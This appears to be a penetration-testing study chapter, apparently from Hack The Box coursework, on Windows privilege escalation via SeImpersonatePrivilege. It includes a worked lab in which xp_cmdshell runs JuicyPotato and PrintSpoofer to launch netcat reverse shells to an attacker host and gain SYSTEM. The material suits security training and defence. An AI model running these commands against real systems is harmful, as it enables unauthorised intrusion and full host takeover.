Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Windows Privilege Escalation — SeImpersonate / SeAssignPrimaryToken (Potato Attacks)

Every Windows process holds a token describing the account it runs as. Tokens aren’t a secure resource on their own — they’re just memory locations — but using one to spawn a process requires the holder to have SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege). These are normally only granted to administrative accounts, and can be stripped during hardening.

  • SeImpersonatePrivilege lets a process impersonate a token and act on its behalf (e.g. CreateProcessWithTokenW).
  • SeAssignPrimaryTokenPrivilege (“Replace a process level token”) lets a process create a new process with an arbitrary primary token (e.g. CreateProcessAsUser).
  • Legitimate software uses this to drop from Administrator to NT AUTHORITY\SYSTEM — e.g. a process asks WinLogon for a SYSTEM token, then re-executes itself with it.

Potato-style attacks abuse the fact that many service accounts are granted SeImpersonatePrivilege (required for impersonating connecting clients) but don’t otherwise have full SYSTEM rights. The attack tricks a SYSTEM process (often via NTLM/DCOM/RPC reflection) into connecting to an attacker-controlled listener, handing over its token, which the attacker then impersonates to spawn a SYSTEM process.

Where This Shows Up

Common after landing RCE in the context of a service account:

  • Web shell on an ASP.NET/IIS app pool identity
  • RCE via Jenkins
  • xp_cmdshell through MSSQL (mssqlserver / mssql$<instance> service account)

Whenever landing a shell this way, check privileges immediately — this is often a fast, reliable path to SYSTEM.

Example: SQL Service Account → SYSTEM

1. Connect and get RCE

Windows Authentication may be configured for SQL Server so it can impersonate connecting clients to reach other resources (e.g. file shares) — this requires SeImpersonatePrivilege on the service account.

rnemeth@htb[/htb]$ mssqlclient.py sql_dev@10.129.43.30 -windows-auth
...
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
nt service\mssql$sqlexpress01

2. Confirm the privilege

SQL> xp_cmdshell whoami /priv

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

SeImpersonatePrivilege (Enabled) is the target.

3. JuicyPotato (pre-Server 2019 / pre-Win10 1809)

Exploits DCOM/NTLM reflection to coerce a SYSTEM token via CreateProcessWithTokenW (needs SeImpersonate) or CreateProcessAsUser (needs SeAssignPrimaryToken).

SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
  • -l — COM server listening port
  • -p — program to launch
  • -a — arguments to the program
  • -t — which CreateProcess call to try (* = both)
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
rnemeth@htb[/htb]$ sudo nc -lnvp 8443
...
C:\Windows\system32>whoami
nt authority\system

4. PrintSpoofer / RoguePotato (Server 2019+, Win10 1809+)

JuicyPotato stopped working once Microsoft patched the OXID resolver behavior abused by it (from Server 2019 / Win10 1809 onward). PrintSpoofer (abuses the Print Spooler named pipe) and RoguePotato (brings its own OXID resolver) fill the gap, still relying on the same SeImpersonatePrivilege.

SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
rnemeth@htb[/htb]$ nc -lnvp 8443
...
C:\Windows\system32>whoami
nt authority\system

PrintSpoofer can also spawn a SYSTEM process directly in the current console, or on an interactive desktop if logged on locally/via RDP, instead of catching a reverse shell.

Takeaways

  • SeImpersonatePrivilege on a service account is one of the most common and reliable routes to SYSTEM — check whoami /priv on every foothold.
  • Pick the right Potato variant for the target OS/build: JuicyPotato for older hosts, PrintSpoofer/RoguePotato once the OXID resolver abuse was patched.
  • Further reading: token impersonation attacks paper and the PrintSpoofer deep-dive blog post.